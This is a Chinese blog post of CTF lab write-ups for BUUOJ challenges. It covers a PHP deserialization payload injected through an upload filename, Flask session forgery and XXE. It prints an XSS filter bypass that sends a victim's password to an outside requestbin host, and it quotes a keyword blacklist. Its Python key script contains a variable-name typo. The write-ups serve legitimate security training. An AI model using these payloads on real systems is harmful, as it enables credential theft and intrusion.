[BUUOJ] Learn 7

/ 0评 / 0

[安洵杯 2019]不是文件上传

打开靶机,是一个文件上传页面

测试了一会儿发现只能上传图片
然后就去看了一下源码
原来这就是源码泄露题
源码复制不过来我就不复制了
upload.php

<?php
include("./helper.php");
class upload extends helper {
    public function upload_base(){
        $this->upload();
    }
}
if ($_FILES){
    if ($_FILES["file"]["error"]){
        die("Upload file failed.");
    }else{
        $file = new upload();
        $file->upload_base();
    }
}
$a = new helper();

发现没有过滤file文件名并且调用了helper类
跟一下helper类中有一个__destruct魔术方法可以利用,通过调用view_files中的file_get_contents来读取flag。


这里改为true,利用这里的内容读一下flag、

class helper {
    protected $ifview = True;
    protected $config = "/flag";
}
$a = new helper();
echo serialize($a);

输出:O:6:"helper":2:{s:9:"ifview";b:1;s:9:"config";s:5:"/flag";}
这里的属性值ifview和config都是protected类型的,所以需要将payload修改为:
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
(以至于为什么要将修改为\0\0\0,是因为源码中在存取过程中对protected类型的属性进行了处理。)
正常上传图片的sql语句为:

        $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
也就是:
INSERT INTO images (</span><span class="n">title</span><span class="o">,</span><span class="n">filename</span><span class="o">,</span><span class="n">ext</span><span class="o">,</span><span class="n">path</span><span class="o">,</span><span class="n">attr</span><span class="o">) VALUES('TIM截图20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')

由于title处是我们能够控制的,所以构造文件名如下:

1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg

因为上传的文件名中不能有双引号,所以将payload进行16进制编码。
使用 Brupsuite 将上传的 filename 修改为构造的文件名上传,再访问 show.php 即可得到flag。
参考:安洵杯2019 官方Writeup(Web/Misc)


[GWCTF 2019]mypassword

又是面向WP做题的一天
一个登陆页面

登陆呗

发现有一个feedback

目测是要打XSS了
发现源码中有一些注释:

if(is_array($feedback)){
    echo "";
    return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
    while(true){
        if(stripos($feedback,$val) !== false){
               $feedback = str_ireplace($val,"",$feedback);
        }else{
              break;
        }
    }
}

发现存在黑名单过滤,但是仔细读一下发现是替换为空,双写就可以绕过了
之后再login.js中发现了另一些代码

if (document.cookie && document.cookie != '') {
 var cookies = document.cookie.split('; ');
 var cookie = {};
 for (var i = 0; i < cookies.length; i++) {
     var arr = cookies[i].split('=');
     var key = arr[0];
     cookie[key] = arr[1];
 }
 if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
     document.getElementsByName("username")[0].value = cookie['user'];
     document.getElementsByName("password")[0].value = cookie['psw'];
 }
}

会把当前用户的用户名和密码填进当前的表单中来
允许内联脚本执行, 但是不可以远程请求js脚本执行, 不过已经够了, 把密码发到xss平台就好

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/19thsto1/?a="+psw;
</scrcookieipt>

[CISCN2019 华东南赛区]Web4

打开靶机只有一个按钮,?url=https://baidu.com
猜测含有文件包含,读一下etc/passwd

发现了app目录,读一下源码

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'
@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'
if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

发现定义了一个/flag路由,如果username为fuck就输出flag
发现加密方式是app.config['SECRET_KEY'] = str(random.random()*233)
而这个种子来源于random.seed(uuid.getnode())
uuid.getnode()返回的是什么呢?——MAC地址
所以我们读一下mac:/sys/class/net/eth0/address
写个脚本算一下随机数

import random
ma="02:42:ae:00:c1:a2"
mac=mac.replace(":", "")
random.seed(int(mac,16))
key = str(random.random() * 233)
print(key)

然后用flask_session_cookie_manager3.py解密和加密

decode -s 211.833641783 -c eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XqaWVg.-UW-FoXwQwwRr0kbQLgcNSWTuTg
--> {'username': b'www-data'}
encode -s 211.833641783 -t "{'username': b'fuck'}"
--> eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.XqaXKQ.SO-G1LwBT7IxPpvOMtzDR1vA4ZY

生成的cookie替换已有的cookie,访问flag就有flag了


[CSAWQual 2019]Web_Unagi

打开靶机,发现有一个文件上传界面,给了示例:

很明显是应该使用XXE读文件了,给了flag在根目录,构造一下

上传以后发现被拦截了:

那就上传一个UTF16的吧!

成功获取flag


[WUSTCTF2020]easyweb

tomcat文件包含漏洞,找个JSP反弹shell脚本包含监听即可


Wallbreaker_Easy

打开靶机直接给了shell
连接上去直接用插件绕过了。。。。。。。。
预期解是绕过disable_function
https://xz.aliyun.com/t/4688


[watevrCTF-2019]Pickle Store

Pickle反序列化 python类的。从网上找了个反弹shell的python3脚本,替换cookie监听一下就可以了


[FireshellCTF2020]URL TO PDF

随便输入一个url,可以返回一个PDF。猜测要通过带出flag的内容到pdf中

这个文章了
写一个html

分离下就有了

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注